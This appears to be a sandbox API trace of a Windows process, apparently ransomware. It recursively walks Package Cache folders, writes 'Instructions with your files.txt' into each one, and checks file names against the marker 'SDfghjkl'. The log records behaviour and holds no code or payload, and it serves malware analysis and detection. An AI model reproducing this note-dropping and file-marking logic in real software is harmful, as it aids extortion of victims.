[0132.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.019] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.020] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.020] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.020] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.021] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.021] CloseHandle (hObject=0x114) returned 1
[0132.021] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.021] GetProcessHeap () returned 0x810000
[0132.021] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.021] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.021] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.021] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.022] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.022] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.022] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.022] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.023] CloseHandle (hObject=0x110) returned 1
[0132.023] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.023] GetProcessHeap () returned 0x810000
[0132.023] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.023] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
[0132.023] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 75
[0132.023] GetProcessHeap () returned 0x810000
[0132.023] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned 77
[0132.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\.") returned 77
[0132.023] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\..") returned 78
[0132.023] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45b2b00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45b2b00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45b2b00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Instructions with your files.txt") returned 108
[0132.023] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.023] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 85
[0132.023] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.023] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0132.023] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 92
[0132.023] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch="SDfghjkl") returned 0x0
[0132.023] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0132.024] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Instructions with your files.txt") returned 108
[0132.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.024] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.024] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.025] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.025] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.025] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.025] CloseHandle (hObject=0x110) returned 1
[0132.025] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.025] GetProcessHeap () returned 0x810000
[0132.025] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.025] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
[0132.025] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 87
[0132.025] GetProcessHeap () returned 0x810000
[0132.025] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.025] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned 89
[0132.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.026] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\.") returned 89
[0132.026] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.026] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\..") returned 90
[0132.026] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d8c60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.026] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.026] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.026] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.026] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 96
[0132.026] GetProcessHeap () returned 0x810000
[0132.026] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.026] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned 98
[0132.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.026] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\.") returned 98
[0132.026] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\..") returned 99
[0132.027] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d8c60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.027] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.027] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 117
[0132.027] GetProcessHeap () returned 0x810000
[0132.027] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned 119
[0132.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\.") returned 119
[0132.027] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\..") returned 120
[0132.027] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 126
[0132.027] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.027] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d8c60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45d8c60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45d8c60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\Instructions with your files.txt") returned 150
[0132.027] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.027] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.027] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 143
[0132.027] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch="SDfghjkl") returned 0x0
